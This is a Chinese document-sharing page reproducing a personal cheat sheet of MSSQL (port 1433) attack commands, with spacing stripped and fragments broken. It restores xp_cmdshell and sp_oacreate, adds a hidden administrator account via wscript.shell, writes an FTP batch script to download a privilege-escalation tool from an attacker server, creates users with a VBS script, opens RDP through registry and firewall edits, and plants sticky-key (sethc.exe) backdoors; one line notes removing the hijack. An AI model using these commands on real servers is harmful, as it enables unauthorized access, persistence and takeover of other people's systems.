本人专用的1433修复全部口令全集Word文档下载推荐.docx

上传人:b****6 文档编号:21963361 上传时间:2023-02-02 格式:DOCX 页数:18 大小:22.52KB
下载 相关 举报
本人专用的1433修复全部口令全集Word文档下载推荐.docx_第1页
第1页 / 共18页
本人专用的1433修复全部口令全集Word文档下载推荐.docx_第2页
第2页 / 共18页
本人专用的1433修复全部口令全集Word文档下载推荐.docx_第3页
第3页 / 共18页
本人专用的1433修复全部口令全集Word文档下载推荐.docx_第4页
第4页 / 共18页
本人专用的1433修复全部口令全集Word文档下载推荐.docx_第5页
第5页 / 共18页
点击查看更多>>
下载资源
资源描述

本人专用的1433修复全部口令全集Word文档下载推荐.docx

《本人专用的1433修复全部口令全集Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《本人专用的1433修复全部口令全集Word文档下载推荐.docx(18页珍藏版)》请在冰豆网上搜索。

本人专用的1433修复全部口令全集Word文档下载推荐.docx

netnet1都被禁用

xcopytaskmgr.exesethc.exe/y"

)'

如果cmd被禁用

netuseruserpass/add"

除了xplog70.dll其他的都可以用这命令修复

第一步先删除:

dropproceduresp_addextendedproc

dropproceduresp_oacreate

execsp_dropextendedproc'

xp_cmdshell'

服务器:

消息3701,级别11,状态5,行1

无法除去过程'

sp_addextendedproc'

,因为它在系统目录中不存在。

消息3701,级别11,状态5,过程sp_dropextendedproc,行18

第二步恢复:

dbccaddextendedproc("

sp_oacreate"

"

odsole70.dll"

xp_cmdshell"

xplog70.dll"

直接恢复,不管sp_addextendedproc是不是存在

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

1.未能找到存储过程'

master..xpcmdshell'

之解决方法:

EXECsp_addextendedprocxp_cmdshell,@dllname='

xplog70.dll'

declare@oint

sp_addextendedproc'

xpsql70.dll'

◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复sp_addextendedproc语句:

createproceduresp_addextendedproc---1996/08/3020:

13

@functnamenvarchar(517),/*(owner.)nameoffunctiontocall*/

@dllnamevarchar(255)/*nameofDLLcontainingfunction*/

as

setimplicit_transactionsoff

if@@trancount>

0

begin

raiserror(15002,-1,-1,'

return

(1)

end

dbccaddextendedproc(@functname,@dllname)

return(0)--sp_addextendedproc

GO

2无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。

原因126(找不到指定模块。

恢复方法:

查询分离器连接后,

sp_dropextendedproc"

'

修复XPLOG70.DLL(先用文件查看下备份的目录下\x86\bin,然后把下面目录替换)

第一步

第二步

c:

\sql2ksp4\x86\binn\xplog70.dll"

126错误

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

127错误

execsp_addextendedproc'

\ProgramFiles\MicrosoftSQLServer\MSSQL\Binn\xplog70.dll'

\ProgramFiles\MicrosoftSQLServer\MSSQL\Binn\xplog70.dll"

4.直接添加帐户法

删除odsole70.dll:

execmaster..sp_dropextendedprocsp_oamethod

execmaster..sp_dropextendedprocsp_oacreate

恢复odsole70.dll:

execsp_addextendedprocsp_OAMethod,'

odsole70.dll'

execsp_addextendedprocsp_OACreate,'

直接添加帐户命令:

declare@shellintexecsp_oacreate'

wscript.shell'

@shelloutputexecsp_oamethod

@shell,'

run'

null,'

\windows\system32\cmd.exe/cnetusersinsinhack/add'

@shelloutputexecsp_oamethod@shell,'

\windows\system32\cmd.exe/cnetlocalgroupadministratorssin/add'

FTP下载命令

declare@oint,@fint,@tint,@retint

execsp_oacreate'

scripting.filesystemobject'

@oout

execsp_oamethod@o,'

createtextfile'

@fout,'

\1.bat'

1

exec@ret=sp_oamethod@f,'

writeline'

NULL,'

openIP'

ftp账号'

ftp密码'

geten.exe(无net提权脚本)c:

\en.exe'

bye'

3、net提权出现拒绝访问错误5(重点)

这种情况就不用尝试net1了,可以试试copyshift后门,如果copy后提示复制0文件,证明没有成功。

那么可以试试能不能上传,如果能上传直接传个前段时间出来的无net提权工具,然后加个用户就可以了。

但是这种情况大部分都是不能上传的,那么就要考虑一下了。

既然能执行cmd,那么就能通过cmd下ftp下载文件,可是ftp前提是要能写进文本或批处理。

那么就可以通过sql语句写进一个文本或批处理啊。

查询分析器执行成功后,不出意外,会在c盘出现一个1.bat(如果执行成功了,c盘却没有,可以换个文件夹写入,因为哪个服务器c盘根目录禁止写入)

然后cmd执行ftp-s:

\1.bat

这个执行完了以后,就会在c盘ftp下载一个无net提权脚本或者直接写个vbs提权脚本

\1.vbs'

Seto=CreateObject("

Shell.Users"

)'

Setz=o.create("

用户"

z.changePassword"

密码"

"

'

z.setting("

AccountType"

)=3'

然后cmd执行cscriptc:

\1.vbs就可以了

Cmd命令开3389:

REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal"

"

Server/vfDenyTSConnections/tREG_DWORD/d0/f

1.查询终端端口

REGqueryHKLM\SYSTEM\CurrentControlSet\Control\Terminal"

Server\WinStations\RDP-Tcp/vPortNumber

2.开启XP&

2003终端服务

Server/vfDenyTSConnections/tREG_DWORD/d00000000/f

3.更改终端端口为2008(0x7d8)默认为3389(0xD3D)

Server\Wds\rdpwd\Tds\tcp/vPortNumber/tREG_DWORD/d0x7d8/f

Server\WinStations\RDP-Tcp/vPortNumber/tREG_DWORD/d0x7D8/f

4.取消xp&

2003系统防火墙对终端服务的限制及IP连接的限制

REGADDHKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List/v3389:

TCP/tREG_SZ/d3389:

TCP:

*:

Enabledxpsp2res.dll,-22009/f

sql语句开3389

开3389:

execmaster.dbo.xp_regwrite'

HKEY_LOCAL_MACHINE'

SYSTEM\CurrentControlSet\Control\TerminalServer'

fDenyTSConnections'

REG_DWORD'

0;

--

关3389:

1;

查看3389端口

execxp_regread'

SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp'

PortNumber'

查看系统版本

typec:

\boot.ini

普通CMD后门

xp_regwrite'

SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\sethc.exe'

debugger'

reg_sz'

\windows\system32\cmd.exe'

5下shift后门命令

@oout

copyfile'

\windows\explorer.exe'

'

\windows\system32\sethc.exe'

\windows\system32\dllcache\sethc.exe'

copyc:

\windows\explorer.exec:

\windows\system32\sethc.exe

\windows\system32\sethc.exec:

\windows\system32\dllcache\sethc.exe

5.恢复时一些常用的SQL语句:

利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):

usemaster 

execsp_addextendedprocxp_cmdshell,'

xp_cmdshell.dll'

execsp_addextendedprocxp_dirtree,'

xpstar.dll'

execsp_addextendedprocxp_enumgroups,'

execsp_addextendedprocxp_fixeddrives,'

execsp_addextendedprocxp_loginconfig,'

execsp_addextendedprocxp_enumerrorlogs,'

execsp_addextendedprocxp_getfiledetails,'

execsp_addextendedprocsp_OADestroy,'

execsp_addextendedprocsp_OAGetErrorInfo,'

execsp_addextendedprocsp_OAGetProperty,'

execsp_addextendedprocsp_OASetProperty,'

execsp_addextendedprocsp_OAStop,'

execsp_addextendedprocxp_regaddmultistring,'

execsp_addextendedprocxp_regdeletekey,'

execsp_addextendedprocxp_regdeletevalue,'

execsp_addextendedprocxp_regenumvalues,'

execsp_addextendedprocxp_regread,'

execsp_addextendedprocxp_regremovemultistring,'

execsp_addextendedprocxp_regwrite,'

execsp_addextendedprocxp_availablemedia,'

恢复cmdshell:

execsp_addextendedprocxp_cmdshell,@dllname='

1.sql命令查询注册表粘滞键是否被劫持

execmaster..xp_regread'

Debugger'

2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令)

REG_SZ'

\WINDOWS\system32\taskmgr.exe'

3.sql命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用

xp_regdeletekey'

SQLServer阻止了对组件'

的过程'

sys.xp_cmdshell'

的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。

系统管理员可以通过使用sp_configure启用'

有关启用'

的详细信息,请参阅SQLServer联机丛书中的"

外围应用配置器"

EXECsp_configure'

showadvancedoptions'

1--

RECONFIGUREWITHOVERRIDE--

EXECsp_configure 

'

0--

分析器执行的语句:

1;

RECONFIGURE;

xpsql.cpp:

错误5来自CreateProces

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 农学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1